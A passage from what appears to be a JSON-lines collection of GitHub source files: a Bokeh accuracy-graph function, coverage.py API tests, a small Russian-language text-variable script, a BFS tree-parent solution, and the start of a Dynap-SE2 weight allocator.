delta = date[1] - date[0]\n delta_second = (date[1] - date[0]).total_seconds()\n else:\n delta = timedelta(hours=1)\n delta_second = 86400\n delta_list = []\n for i in range(len(date)):\n delta_list.append(date[i] + delta)\n\n x = date\n y = predicted\n y2 = actual\n\n y_min = np.nanmin(y)\n y_max = np.nanmax(y)\n y2_min = np.nanmin(y2)\n y2_max = np.nanmax(y2)\n\n vbar_y1 = count\n vbar_y2 = total_count\n\n max_value = np.nanmax(vbar_y2)\n\n gap = list(map(operator.sub, vbar_y2, vbar_y1))\n vbar_y2 = gap\n\n real_y1 = vbar_y1\n vbar_y1 = list(map(lambda x: x / max_value if max_value != 0 else 0, vbar_y1))\n real_y2 = vbar_y2\n vbar_y2 = list(map(lambda x: x / max_value if max_value != 0 else 0, vbar_y2))\n\n y = [np.nan if x == 0 else x for x in y]\n y2 = [np.nan if x == 0 else x for x in y2]\n\n source = ColumnDataSource(data=dict(\n x=x,\n delta_x=delta_list,\n vbar1=vbar_y1,\n vbar2=vbar_y2,\n r_vbar1=real_y1,\n r_vbar2=real_y2,\n circle1=y,\n circle2=y2,\n ))\n\n plot = figure(sizing_mode=\"fixed\",\n min_width=1200,\n max_width=2000,\n height=400, x_axis_type='datetime')\n\n base_plot = figure(height=400, width=150)\n\n title_ = Paragraph(text=\"Predicted & Actual\", align=\"center\", styles={\"font-size\": \"16px\"})\n layout = row([title_])\n layout2 = row([base_plot, plot])\n\n if model_type == \"Regression\":\n tick_max = y_max if y_max > y2_max else y2_max\n tick_min = y_min if y_min < y2_min else y2_min\n term = tick_max - tick_min\n gap = term / 5\n if tick_min == 0:\n tick_min = tick_max - (5 * gap)\n plot.yaxis.ticker = [tick_min, tick_max - (4 * gap), tick_max - (3 * gap), tick_max - (2 * gap),\n tick_max - gap, tick_max]\n plot.y_range.start = tick_min - gap\n plot.y_range.end = tick_max + gap\n plot.yaxis[0].formatter = NumeralTickFormatter(format='0.000 a')\n base_plot.yaxis[0].formatter = NumeralTickFormatter(format='0.000 a')\n\n elif model_type == \"Binary\":\n plot.yaxis.ticker = [0, 0.2, 0.4, 0.6, 0.8, 1]\n plot.yaxis[0].formatter = NumeralTickFormatter(format='0 %')\n base_plot.yaxis[0].formatter = NumeralTickFormatter(format='0 %')\n plot.y_range.start = -0.2\n plot.y_range.end = 1\n else:\n pass\n\n base_plot.y_range = plot.y_range\n base_plot.yaxis.ticker = plot.yaxis.ticker\n plot.extra_y_ranges['vbar'] = Range1d(start=0, end=10)\n plot.add_layout(LinearAxis(y_range_name='vbar'), 'right')\n\n circle1 = plot.circle(x=\"x\", y=\"circle1\", source=source, size=10, color='blue', fill_alpha=0.5)\n circle2 = plot.circle(x=\"x\", y=\"circle2\", source=source, size=10, line_color='red', fill_color=\"white\",\n fill_alpha=0)\n vbar = plot.vbar_stack(['vbar1', 'vbar2'], x='x', source=source, color=['black', 'black'], fill_alpha=[1, 0],\n hatch_alpha=1, hatch_pattern='right_diagonal_line', line_color='white',\n y_range_name='vbar', width=delta_second * 1000)\n\n base_plot.circle(x=\"x\", y=\"pre\", source=base_source, size=10, color='blue', fill_alpha=0.5)\n base_plot.circle(x=\"x\", y=\"act\", source=base_source, size=10, line_color='red', fill_color=\"white\",\n fill_alpha=0)\n\n legend = Legend(items=[\n (\"predicted values\", [circle1]),\n (\"actual values\", [circle2]),\n (\"number of actuals\", [vbar[0]]),\n (\"number of preidctions without actuals\", [vbar[1]])\n ], orientation='horizontal', location=\"top_left\", background_fill_alpha=0, border_line_alpha=0,\n )\n if model_type == \"Binary\":\n if binary_thres is True:\n tooltips = [\n (\"date\", \"@x{%Y-%m-%d:%H} ~ @delta_x{%Y-%m-%d:%H}\"),\n (f\"Percentage Predicted({positive_class})\", \"@circle1{0.00 %}\"),\n (f\"Percnetage Actual({positive_class})\", \"@circle2{0.00 %}\"),\n (\"Number of rows\", \"@r_vbar1{0.000 a}\"),\n (\"Number of rows without actuals\", \"@r_vbar2{0.000 a}\"),\n ]\n else:\n tooltips = [\n (\"date\", \"@x{%Y-%m-%d:%H} ~ @delta_x{%Y-%m-%d:%H}\"),\n (f\"Percentage Predicted({positive_class})\", \"@circle1{0.00 %}\"),\n (f\"Percnetage Actual({positive_class})\", \"@circle2{0.00 %}\"),\n (\"Number of rows\", \"@r_vbar1{0.000 a}\"),\n (\"Number of rows without actuals\", \"@r_vbar2{0.000 a}\"),\n ]\n hover_tool = HoverTool(tooltips=tooltips,\n renderers=[vbar[0]],\n formatters={\n \"@x\": \"datetime\",\n \"@delta_x\": \"datetime\",\n },\n mode='vline',\n # muted_policy=\"ignore\",\n point_policy=\"snap_to_data\",\n line_policy=\"nearest\",\n show_arrow=False\n )\n base_hover_tool = HoverTool(tooltips=[\n (f\"Percentage Predicted({positive_class})\", \"@pre{0.00 %}\"),\n (f\"Percentage Actual({positive_class})\", \"@act{0.00 %}\")\n ])\n elif model_type == \"Regression\":\n hover_tool = HoverTool(tooltips=[\n (\"date\", \"@x{%Y-%m-%d:%H} ~ @delta_x{%Y-%m-%d:%H}\"),\n (\"Average Predicted\", \"@circle1{0.000 a}\"),\n (\"Average Actual\", \"@circle2{0.000 a}\"),\n (\"Number of rows\", \"@r_vbar1{0.000 a}\"),\n (\"Number of rows without actuals\", \"@r_vbar2{0.000 a}\"),\n ],\n renderers=[vbar[0]],\n formatters={\n \"@x\": \"datetime\",\n \"@delta_x\": \"datetime\",\n },\n mode='vline',\n # muted_policy=\"ignore\",\n point_policy=\"snap_to_data\",\n line_policy=\"nearest\",\n show_arrow=False\n )\n base_hover_tool = HoverTool(tooltips=[\n (\"Average Predicted\", \"@pre{0.000 a}\"),\n (\"Average Actual\", \"@act{0.000 a}\")\n ])\n else:\n hover_tool = HoverTool()\n\n plot.add_tools(hover_tool)\n plot.add_layout(legend)\n plot.yaxis[0].visible = False\n plot.yaxis[1].visible = False\n plot.xgrid.grid_line_color = None\n plot.toolbar_location = None\n plot.toolbar.active_drag = None\n plot.xaxis.axis_label = \"Scoring \\n Time of Prediction\"\n\n base_plot.toolbar_location = None\n base_plot.toolbar.active_drag = None\n base_plot.xaxis.axis_label = \"Training\"\n base_plot.yaxis.axis_label = \"Target value\"\n base_plot.xgrid.grid_line_color = None\n # base_plot.xaxis.visible = False\n base_plot.xaxis.major_label_text_font_size = \"0px\"\n base_plot.xaxis.major_tick_line_color = \"white\"\n base_plot.xaxis.minor_tick_line_alpha = 0\n base_plot.add_tools(base_hover_tool)\n\n doc.add_root(column(layout, layout2))\n\n\ndef get_data_source(d, t):\n x_value = list(d['x_value'])\n y_value = list(d[t])\n delta_value = list(d['delta_value'])\n\n data = {\n 'x': x_value,\n 'y': y_value,\n 'delta_x': delta_value\n }\n\n return data\n\n\ndef get_base_data_source(d, t):\n x_value = [0]\n if type(d[t]) == str:\n y_value = [np.nan]\n else:\n y_value = [d[t]]\n\n data = {\n \"x\": x_value,\n \"y\": y_value\n }\n\n return data\n","repo_name":"margarita-serve/graph-server","sub_path":"app/accuracy_graph.py","file_name":"accuracy_graph.py","file_ext":"py","file_size_in_byte":20314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15012761613","text":"\"\"\"Tests for Coverage's api.\"\"\"\n\nimport fnmatch, os, re, sys, textwrap\n\nimport coverage\nfrom coverage.backward import StringIO\n\nfrom tests.coveragetest import CoverageTest\n\n\nclass SingletonApiTest(CoverageTest):\n \"\"\"Tests of the old-fashioned singleton API.\"\"\"\n\n def setUp(self):\n super(SingletonApiTest, self).setUp()\n # These tests use the singleton module interface. Prevent it from\n # writing .coverage files at exit.\n coverage.use_cache(0)\n\n def do_report_work(self, modname):\n \"\"\"Create a module named `modname`, then measure it.\"\"\"\n coverage.erase()\n\n self.make_file(modname+\".py\", \"\"\"\\\n a = 1\n b = 2\n if b == 3:\n c = 4\n d = 5\n e = 6\n f = 7\n \"\"\")\n\n # Import the python file, executing it.\n self.start_import_stop(coverage, modname)\n\n def test_simple(self):\n coverage.erase()\n\n self.make_file(\"mycode.py\", \"\"\"\\\n a = 1\n b = 2\n if b == 3:\n c = 4\n d = 5\n \"\"\")\n\n # Import the python file, executing it.\n self.start_import_stop(coverage, \"mycode\")\n\n _, statements, missing, missingtext = coverage.analysis(\"mycode.py\")\n self.assertEqual(statements, [1,2,3,4,5])\n self.assertEqual(missing, [4])\n self.assertEqual(missingtext, \"4\")\n\n def test_report(self):\n self.do_report_work(\"mycode2\")\n coverage.report([\"mycode2.py\"])\n self.assertEqual(self.stdout(), textwrap.dedent(\"\"\"\\\n Name Stmts Miss Cover Missing\n ---------------------------------------\n mycode2 7 3 57% 4-6\n \"\"\"))\n\n def test_report_file(self):\n # The file= argument of coverage.report makes the report go there.\n self.do_report_work(\"mycode3\")\n fout = StringIO()\n coverage.report([\"mycode3.py\"], file=fout)\n self.assertEqual(self.stdout(), \"\")\n self.assertEqual(fout.getvalue(), textwrap.dedent(\"\"\"\\\n Name Stmts Miss Cover Missing\n ---------------------------------------\n mycode3 7 3 57% 4-6\n \"\"\"))\n\n def test_report_default(self):\n # Calling report() with no morfs will report on whatever was executed.\n self.do_report_work(\"mycode4\")\n coverage.report()\n rpt = re.sub(r\"\\s+\", \" \", self.stdout())\n self.assertIn(\"mycode4 7 3 57% 4-6\", rpt)\n\n\nclass ApiTest(CoverageTest):\n \"\"\"Api-oriented tests for Coverage.\"\"\"\n\n def clean_files(self, files, pats):\n \"\"\"Remove names matching `pats` from `files`, a list of filenames.\"\"\"\n good = []\n for f in files:\n for pat in pats:\n if fnmatch.fnmatch(f, pat):\n break\n else:\n good.append(f)\n return good\n\n def assertFiles(self, files):\n \"\"\"Assert that the files here are `files`, ignoring the usual junk.\"\"\"\n here = os.listdir(\".\")\n here = self.clean_files(here, [\"*.pyc\", \"__pycache__\"])\n self.assertSameElements(here, files)\n\n def test_unexecuted_file(self):\n cov = coverage.coverage()\n\n self.make_file(\"mycode.py\", \"\"\"\\\n a = 1\n b = 2\n if b == 3:\n c = 4\n d = 5\n \"\"\")\n\n self.make_file(\"not_run.py\", \"\"\"\\\n fooey = 17\n \"\"\")\n\n # Import the python file, executing it.\n self.start_import_stop(cov, \"mycode\")\n\n _, statements, missing, _ = cov.analysis(\"not_run.py\")\n self.assertEqual(statements, [1])\n self.assertEqual(missing, [1])\n\n def test_filenames(self):\n\n self.make_file(\"mymain.py\", \"\"\"\\\n import mymod\n a = 1\n \"\"\")\n\n self.make_file(\"mymod.py\", \"\"\"\\\n fooey = 17\n \"\"\")\n\n # Import the python file, executing it.\n cov = coverage.coverage()\n self.start_import_stop(cov, \"mymain\")\n\n filename, _, _, _ = cov.analysis(\"mymain.py\")\n self.assertEqual(os.path.basename(filename), \"mymain.py\")\n filename, _, _, _ = cov.analysis(\"mymod.py\")\n self.assertEqual(os.path.basename(filename), \"mymod.py\")\n\n filename, _, _, _ = cov.analysis(sys.modules[\"mymain\"])\n self.assertEqual(os.path.basename(filename), \"mymain.py\")\n filename, _, _, _ = cov.analysis(sys.modules[\"mymod\"])\n self.assertEqual(os.path.basename(filename), \"mymod.py\")\n\n # Import the python file, executing it again, once it's been compiled\n # already.\n cov = coverage.coverage()\n self.start_import_stop(cov, \"mymain\")\n\n filename, _, _, _ = cov.analysis(\"mymain.py\")\n self.assertEqual(os.path.basename(filename), \"mymain.py\")\n filename, _, _, _ = cov.analysis(\"mymod.py\")\n self.assertEqual(os.path.basename(filename), \"mymod.py\")\n\n filename, _, _, _ = cov.analysis(sys.modules[\"mymain\"])\n self.assertEqual(os.path.basename(filename), \"mymain.py\")\n filename, _, _, _ = cov.analysis(sys.modules[\"mymod\"])\n self.assertEqual(os.path.basename(filename), \"mymod.py\")\n\n def test_ignore_stdlib(self):\n self.make_file(\"mymain.py\", \"\"\"\\\n import colorsys\n a = 1\n hls = colorsys.rgb_to_hls(1.0, 0.5, 0.0)\n \"\"\")\n\n # Measure without the stdlib.\n cov1 = coverage.coverage()\n self.assertEqual(cov1.config.cover_pylib, False)\n self.start_import_stop(cov1, \"mymain\")\n\n # some statements were marked executed in mymain.py\n _, statements, missing, _ = cov1.analysis(\"mymain.py\")\n self.assertNotEqual(statements, missing)\n # but none were in colorsys.py\n _, statements, missing, _ = cov1.analysis(\"colorsys.py\")\n self.assertEqual(statements, missing)\n\n # Measure with the stdlib.\n cov2 = coverage.coverage(cover_pylib=True)\n self.start_import_stop(cov2, \"mymain\")\n\n # some statements were marked executed in mymain.py\n _, statements, missing, _ = cov2.analysis(\"mymain.py\")\n self.assertNotEqual(statements, missing)\n # and some were marked executed in colorsys.py\n _, statements, missing, _ = cov2.analysis(\"colorsys.py\")\n self.assertNotEqual(statements, missing)\n\n def test_include_can_measure_stdlib(self):\n self.make_file(\"mymain.py\", \"\"\"\\\n import colorsys, random\n a = 1\n r, g, b = [random.random() for _ in range(3)]\n hls = colorsys.rgb_to_hls(r, g, b)\n \"\"\")\n\n # Measure without the stdlib, but include colorsys.\n cov1 = coverage.coverage(cover_pylib=False, include=[\"*/colorsys.py\"])\n self.start_import_stop(cov1, \"mymain\")\n\n # some statements were marked executed in colorsys.py\n _, statements, missing, _ = cov1.analysis(\"colorsys.py\")\n self.assertNotEqual(statements, missing)\n # but none were in random.py\n _, statements, missing, _ = cov1.analysis(\"random.py\")\n self.assertEqual(statements, missing)\n\n def test_exclude_list(self):\n cov = coverage.coverage()\n cov.clear_exclude()\n self.assertEqual(cov.get_exclude_list(), [])\n cov.exclude(\"foo\")\n self.assertEqual(cov.get_exclude_list(), [\"foo\"])\n cov.exclude(\"bar\")\n self.assertEqual(cov.get_exclude_list(), [\"foo\", \"bar\"])\n self.assertEqual(cov._exclude_regex('exclude'), \"(foo)|(bar)\")\n cov.clear_exclude()\n self.assertEqual(cov.get_exclude_list(), [])\n\n def test_exclude_partial_list(self):\n cov = coverage.coverage()\n cov.clear_exclude(which='partial')\n self.assertEqual(cov.get_exclude_list(which='partial'), [])\n cov.exclude(\"foo\", which='partial')\n self.assertEqual(cov.get_exclude_list(which='partial'), [\"foo\"])\n cov.exclude(\"bar\", which='partial')\n self.assertEqual(cov.get_exclude_list(which='partial'), [\"foo\", \"bar\"])\n self.assertEqual(cov._exclude_regex(which='partial'), \"(foo)|(bar)\")\n cov.clear_exclude(which='partial')\n self.assertEqual(cov.get_exclude_list(which='partial'), [])\n\n def test_exclude_and_partial_are_separate_lists(self):\n cov = coverage.coverage()\n cov.clear_exclude(which='partial')\n cov.clear_exclude(which='exclude')\n cov.exclude(\"foo\", which='partial')\n self.assertEqual(cov.get_exclude_list(which='partial'), ['foo'])\n self.assertEqual(cov.get_exclude_list(which='exclude'), [])\n cov.exclude(\"bar\", which='exclude')\n self.assertEqual(cov.get_exclude_list(which='partial'), ['foo'])\n self.assertEqual(cov.get_exclude_list(which='exclude'), ['bar'])\n cov.exclude(\"p2\", which='partial')\n cov.exclude(\"e2\", which='exclude')\n self.assertEqual(cov.get_exclude_list(which='partial'), ['foo', 'p2'])\n self.assertEqual(cov.get_exclude_list(which='exclude'), ['bar', 'e2'])\n cov.clear_exclude(which='partial')\n self.assertEqual(cov.get_exclude_list(which='partial'), [])\n self.assertEqual(cov.get_exclude_list(which='exclude'), ['bar', 'e2'])\n cov.clear_exclude(which='exclude')\n self.assertEqual(cov.get_exclude_list(which='partial'), [])\n self.assertEqual(cov.get_exclude_list(which='exclude'), [])\n\n def test_datafile_default(self):\n # Default data file behavior: it's .coverage\n self.make_file(\"datatest1.py\", \"\"\"\\\n fooey = 17\n \"\"\")\n\n self.assertFiles([\"datatest1.py\"])\n cov = coverage.coverage()\n self.start_import_stop(cov, \"datatest1\")\n cov.save()\n self.assertFiles([\"datatest1.py\", \".coverage\"])\n\n def test_datafile_specified(self):\n # You can specify the data file name.\n self.make_file(\"datatest2.py\", \"\"\"\\\n fooey = 17\n \"\"\")\n\n self.assertFiles([\"datatest2.py\"])\n cov = coverage.coverage(data_file=\"cov.data\")\n self.start_import_stop(cov, \"datatest2\")\n cov.save()\n self.assertFiles([\"datatest2.py\", \"cov.data\"])\n\n def test_datafile_and_suffix_specified(self):\n # You can specify the data file name and suffix.\n self.make_file(\"datatest3.py\", \"\"\"\\\n fooey = 17\n \"\"\")\n\n self.assertFiles([\"datatest3.py\"])\n cov = coverage.coverage(data_file=\"cov.data\", data_suffix=\"14\")\n self.start_import_stop(cov, \"datatest3\")\n cov.save()\n self.assertFiles([\"datatest3.py\", \"cov.data.14\"])\n\n def test_datafile_from_rcfile(self):\n # You can specify the data file name in the .coveragerc file\n self.make_file(\"datatest4.py\", \"\"\"\\\n fooey = 17\n \"\"\")\n self.make_file(\".coveragerc\", \"\"\"\\\n [run]\n data_file = mydata.dat\n \"\"\")\n\n self.assertFiles([\"datatest4.py\", \".coveragerc\"])\n cov = coverage.coverage()\n self.start_import_stop(cov, \"datatest4\")\n cov.save()\n self.assertFiles([\"datatest4.py\", \".coveragerc\", \"mydata.dat\"])\n\n def test_empty_reporting(self):\n # Used to be you'd get an exception reporting on nothing...\n cov = coverage.coverage()\n cov.erase()\n cov.report()\n\n def test_start_stop_start_stop(self):\n self.make_file(\"code1.py\", \"\"\"\\\n code1 = 1\n \"\"\")\n self.make_file(\"code2.py\", \"\"\"\\\n code2 = 1\n code2 = 2\n \"\"\")\n cov = coverage.coverage()\n self.start_import_stop(cov, \"code1\")\n cov.save()\n self.start_import_stop(cov, \"code2\")\n _, statements, missing, _ = cov.analysis(\"code1.py\")\n self.assertEqual(statements, [1])\n self.assertEqual(missing, [])\n _, statements, missing, _ = cov.analysis(\"code2.py\")\n self.assertEqual(statements, [1, 2])\n self.assertEqual(missing, [])\n\n if 0: # expected failure\n # for https://bitbucket.org/ned/coveragepy/issue/79\n def test_start_save_stop(self):\n self.make_file(\"code1.py\", \"\"\"\\\n code1 = 1\n \"\"\")\n self.make_file(\"code2.py\", \"\"\"\\\n code2 = 1\n code2 = 2\n \"\"\")\n cov = coverage.coverage()\n cov.start()\n self.import_local_file(\"code1\")\n cov.save()\n self.import_local_file(\"code2\")\n cov.stop()\n\n _, statements, missing, _ = cov.analysis(\"code1.py\")\n self.assertEqual(statements, [1])\n self.assertEqual(missing, [])\n _, statements, missing, _ = cov.analysis(\"code2.py\")\n self.assertEqual(statements, [1, 2])\n self.assertEqual(missing, [])\n\n\n\nclass UsingModulesMixin(object):\n \"\"\"A mixin for importing modules from test/modules and test/moremodules.\"\"\"\n\n run_in_temp_dir = False\n\n def setUp(self):\n super(UsingModulesMixin, self).setUp()\n # Parent class saves and restores sys.path, we can just modify it.\n self.old_dir = os.getcwd()\n os.chdir(self.nice_file(os.path.dirname(__file__), 'modules'))\n sys.path.append(\".\")\n sys.path.append(\"../moremodules\")\n\n def tearDown(self):\n os.chdir(self.old_dir)\n super(UsingModulesMixin, self).tearDown()\n\n\nclass OmitIncludeTestsMixin(UsingModulesMixin):\n \"\"\"Test methods for coverage methods taking include and omit.\"\"\"\n\n def filenames_in(self, summary, filenames):\n \"\"\"Assert the `filenames` are in the keys of `summary`.\"\"\"\n for filename in filenames.split():\n self.assertIn(filename, summary)\n\n def filenames_not_in(self, summary, filenames):\n \"\"\"Assert the `filenames` are not in the keys of `summary`.\"\"\"\n for filename in filenames.split():\n self.assertNotIn(filename, summary)\n\n def test_nothing_specified(self):\n result = self.coverage_usepkgs()\n self.filenames_in(result, \"p1a p1b p2a p2b othera otherb osa osb\")\n self.filenames_not_in(result, \"p1c\")\n # Because there was no source= specified, we don't search for\n # unexecuted files.\n\n def test_include(self):\n result = self.coverage_usepkgs(include=[\"*/p1a.py\"])\n self.filenames_in(result, \"p1a\")\n self.filenames_not_in(result, \"p1b p1c p2a p2b othera otherb osa osb\")\n\n def test_include_2(self):\n result = self.coverage_usepkgs(include=[\"*a.py\"])\n self.filenames_in(result, \"p1a p2a othera osa\")\n self.filenames_not_in(result, \"p1b p1c p2b otherb osb\")\n\n def test_include_as_string(self):\n result = self.coverage_usepkgs(include=\"*a.py\")\n self.filenames_in(result, \"p1a p2a othera osa\")\n self.filenames_not_in(result, \"p1b p1c p2b otherb osb\")\n\n def test_omit(self):\n result = self.coverage_usepkgs(omit=[\"*/p1a.py\"])\n self.filenames_in(result, \"p1b p2a p2b\")\n self.filenames_not_in(result, \"p1a p1c\")\n\n def test_omit_2(self):\n result = self.coverage_usepkgs(omit=[\"*a.py\"])\n self.filenames_in(result, \"p1b p2b otherb osb\")\n self.filenames_not_in(result, \"p1a p1c p2a othera osa\")\n\n def test_omit_as_string(self):\n result = self.coverage_usepkgs(omit=\"*a.py\")\n self.filenames_in(result, \"p1b p2b otherb osb\")\n self.filenames_not_in(result, \"p1a p1c p2a othera osa\")\n\n def test_omit_and_include(self):\n result = self.coverage_usepkgs(include=[\"*/p1*\"], omit=[\"*/p1a.py\"])\n self.filenames_in(result, \"p1b\")\n self.filenames_not_in(result, \"p1a p1c p2a p2b\")\n\n\nclass SourceOmitIncludeTest(OmitIncludeTestsMixin, CoverageTest):\n \"\"\"Test using `source`, `omit` and `include` when measuring code.\"\"\"\n\n def coverage_usepkgs(self, **kwargs):\n \"\"\"Run coverage on usepkgs and return the line summary.\n\n Arguments are passed to the `coverage.coverage` constructor.\n\n \"\"\"\n cov = coverage.coverage(**kwargs)\n cov.start()\n import usepkgs # pragma: nested # pylint: disable=F0401,W0612\n cov.stop() # pragma: nested\n cov._harvest_data() # private! sshhh...\n summary = cov.data.summary()\n for k, v in list(summary.items()):\n assert k.endswith(\".py\")\n summary[k[:-3]] = v\n return summary\n\n def test_source_package(self):\n lines = self.coverage_usepkgs(source=[\"pkg1\"])\n self.filenames_in(lines, \"p1a p1b\")\n self.filenames_not_in(lines, \"p2a p2b othera otherb osa osb\")\n # Because source= was specified, we do search for unexecuted files.\n self.assertEqual(lines['p1c'], 0)\n\n def test_source_package_dotted(self):\n lines = self.coverage_usepkgs(source=[\"pkg1.p1b\"])\n self.filenames_in(lines, \"p1b\")\n self.filenames_not_in(lines, \"p1a p1c p2a p2b othera otherb osa osb\")\n\n def test_source_package_part_omitted(self):\n # https://bitbucket.org/ned/coveragepy/issue/218\n # Used to be if you omitted something executed and inside the source,\n # then after it was executed but not recorded, it would be found in\n # the search for unexecuted files, and given a score of 0%.\n lines = self.coverage_usepkgs(source=[\"pkg1\"], omit=[\"pkg1/p1b.py\"])\n self.filenames_in(lines, \"p1a\")\n self.filenames_not_in(lines, \"p1b\")\n self.assertEqual(lines['p1c'], 0)\n\n\nclass ReportIncludeOmitTest(OmitIncludeTestsMixin, CoverageTest):\n \"\"\"Tests of the report include/omit functionality.\"\"\"\n\n def coverage_usepkgs(self, **kwargs):\n \"\"\"Try coverage.report().\"\"\"\n cov = coverage.coverage()\n cov.start()\n import usepkgs # pragma: nested # pylint: disable=F0401,W0612\n cov.stop() # pragma: nested\n report = StringIO()\n cov.report(file=report, **kwargs)\n return report.getvalue()\n\n\nclass XmlIncludeOmitTest(OmitIncludeTestsMixin, CoverageTest):\n \"\"\"Tests of the xml include/omit functionality.\n\n This also takes care of the HTML and annotate include/omit, by virtue\n of the structure of the code.\n\n \"\"\"\n\n def coverage_usepkgs(self, **kwargs):\n \"\"\"Try coverage.xml_report().\"\"\"\n cov = coverage.coverage()\n cov.start()\n import usepkgs # pragma: nested # pylint: disable=F0401,W0612\n cov.stop() # pragma: nested\n cov.xml_report(outfile=\"-\", **kwargs)\n return self.stdout()\n\n\nclass AnalysisTest(CoverageTest):\n \"\"\"Test the numerical analysis of results.\"\"\"\n def test_many_missing_branches(self):\n cov = coverage.coverage(branch=True)\n\n self.make_file(\"missing.py\", \"\"\"\\\n def fun1(x):\n if x == 1:\n print(\"one\")\n else:\n print(\"not one\")\n print(\"done\") # pragma: nocover\n\n def fun2(x):\n print(\"x\")\n\n fun2(3)\n \"\"\")\n\n # Import the python file, executing it.\n self.start_import_stop(cov, \"missing\")\n\n nums = cov._analyze(\"missing.py\").numbers\n self.assertEqual(nums.n_files, 1)\n self.assertEqual(nums.n_statements, 7)\n self.assertEqual(nums.n_excluded, 1)\n self.assertEqual(nums.n_missing, 3)\n self.assertEqual(nums.n_branches, 2)\n self.assertEqual(nums.n_partial_branches, 0)\n self.assertEqual(nums.n_missing_branches, 2)\n\n\nclass PluginTest(CoverageTest):\n \"\"\"Test that the API works properly the way the plugins call it.\n\n We don't actually use the plugins, but these tests call the API the same\n way they do.\n\n \"\"\"\n def pretend_to_be_nose_with_cover(self, erase):\n \"\"\"This is what the nose --with-cover plugin does.\"\"\"\n cov = coverage.coverage()\n\n self.make_file(\"no_biggie.py\", \"\"\"\\\n a = 1\n b = 2\n if b == 1:\n c = 4\n \"\"\")\n\n if erase:\n cov.combine()\n cov.erase()\n cov.load()\n self.start_import_stop(cov, \"no_biggie\")\n cov.combine()\n cov.save()\n cov.report([\"no_biggie.py\"])\n self.assertEqual(self.stdout(), textwrap.dedent(\"\"\"\\\n Name Stmts Miss Cover Missing\n -----------------------------------------\n no_biggie 4 1 75% 4\n \"\"\"))\n\n def test_nose_plugin(self):\n self.pretend_to_be_nose_with_cover(erase=False)\n\n def test_nose_plugin_with_erase(self):\n self.pretend_to_be_nose_with_cover(erase=True)\n","repo_name":"I-Valchev/UrPas","sub_path":"coverage-3.7.1/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":20713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"2468551772","text":"class StringVar():\n\n txt = input('Введите текст: ')\n\n def get(self):\n return self.txt\n\n def set(self):\n self.txt = input('Введите новый текст: ')\n\n\nt1 = StringVar()\nprint(('Выберите действие'))\nprint('Для вывода текста нажмите \"o\"')\nprint('Для изменения нажмите c')\naction = input()\nif action == 'o' or action == 'O':\n print(f'Введённый текст: {t1.get()}')\nelif action == 'c' or action == 'o':\n t1.set()\n print(f'Теперь текст: {t1.get()}')\n\n","repo_name":"ReisenderAlmaAta/Module5","sub_path":"1_1.py","file_name":"1_1.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32701830232","text":"from collections import deque\nimport sys\ninput = sys.stdin.readline\n\ndef bfs():\n order = deque([1])\n check[1] = 1\n\n while order:\n now_node = order.popleft()\n for next_node in graph[now_node]:\n if check[next_node] == 0:\n root_node[next_node] = now_node\n order.append(next_node)\n check[next_node] = 1\n\n return root_node\n\n\nnum = int(input())\ngraph = [[] for _ in range(num + 1)]\nroot_node = [[] for _ in range(num + 1)]\ncheck = [0 for _ in range(num + 1)]\n\nfor _ in range(num - 1):\n a, b = map(int, input().split())\n graph[a].append(b)\n graph[b].append(a)\n\nresult = bfs()\nfor num in result[2:]:\n print(num)","repo_name":"kaori-killer/baekjoon-summer-challenge","sub_path":"CHAPTER_05_BFSDFS/22-08-14/트리의 부모 찾기.py","file_name":"트리의 부모 찾기.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40796085957","text":"\"\"\"\nDynap-SE2 weight matrix allocator implementation\nThe functionality provided here is to process the weight matrices and to allocate required hardware resources\n\n* Non User Facing *\n\n[] TODO : Provide available tag list to use best performing tags\n\n\"\"\"\nfrom __future__ import annotations\nimport logging\n\nfrom typing import Any, Dict, List, Optional, Tuple, Union\nimport numpy as np\nfrom rockpool.devices.dynapse.samna_alias import (\n Dynapse2Synapse,\n Dynapse2Destination,\n Dendrite,\n)\n\nfrom rockpool.typehints import FloatVector, IntVector\n\nfrom dataclasses import dataclass, field\nfrom rockpool.typehints import DRCError\nfrom rockpool.devices.dynapse.lookup import (\n NUM_TAGS,\n NUM_SYNAPSES,\n NUM_DEST,\n CORE_MAP,\n CHIP_MAP,\n CHIP_POS,\n)\nfrom rockpool.devices.dynapse.quantization import WeightHandler\n\n# Try to import samna for device interfacing\nSAMNA_AVAILABLE = True\ntry:\n import samna\nexcept:\n samna = Any\n logging.warning(\n \"Device interface requires `samna` package which is not installed on the system\"\n )\n SAMNA_AVAILABLE = False\n\n# - Configure exports\n__all__ = [\"WeightAllocator\"]\n\n\n@dataclass\nclass WeightAllocator:\n \"\"\"\n WeightAllocator helps allocating memory (SRAM&CAM) reflecting the connectivity content in weight matrices\n \"\"\"\n\n weights_in: Optional[IntVector]\n \"\"\"quantized input weight matrix\"\"\"\n\n weights_rec: Optional[IntVector]\n \"\"\"quantized recurrent weight matrix\"\"\"\n\n sign_in: Optional[IntVector]\n \"\"\"input weight directions (+1 : excitatory, -1 : inhibitory)\"\"\"\n\n sign_rec: Optional[IntVector]\n \"\"\"recurrent weight directions (+1 : excitatory, -1 : inhibitory)\"\"\"\n\n core_map: List[int] = field(default_factory=lambda: CORE_MAP)\n \"\"\"core map (neuron_id : core_id) for in-device neurons, defaults to CORE_MAP\"\"\"\n\n chip_map: Dict[int, int] = field(default_factory=lambda: CHIP_MAP)\n \"\"\"chip map (core_id : chip_id) for all cores, defaults to CHIP_MAP\"\"\"\n\n chip_pos: Dict[int, Tuple[int]] = field(default_factory=lambda: CHIP_POS)\n \"\"\"global chip position dictionary (chip_id : (xpos,ypos)), defaults to CHIP_POS\"\"\"\n\n tag_list: Optional[IntVector] = None\n \"\"\"neuron-tag mapping (neuron_id : tag) which maps the neurons to their virtual addresses, defaults to None\"\"\"\n\n def __post_init__(self) -> None:\n \"\"\"__post_init__ runs after object construction, control&organize the data structure of the object\"\"\"\n\n self.__shape_check()\n\n self.tag_list = (\n np.array(range(NUM_TAGS))\n if self.tag_list is None\n else np.array(self.tag_list)\n )\n\n self.n_chip = len(set(self.chip_map.values()))\n self.virtual_tags, self.recurrent_tags, self.output_tags = 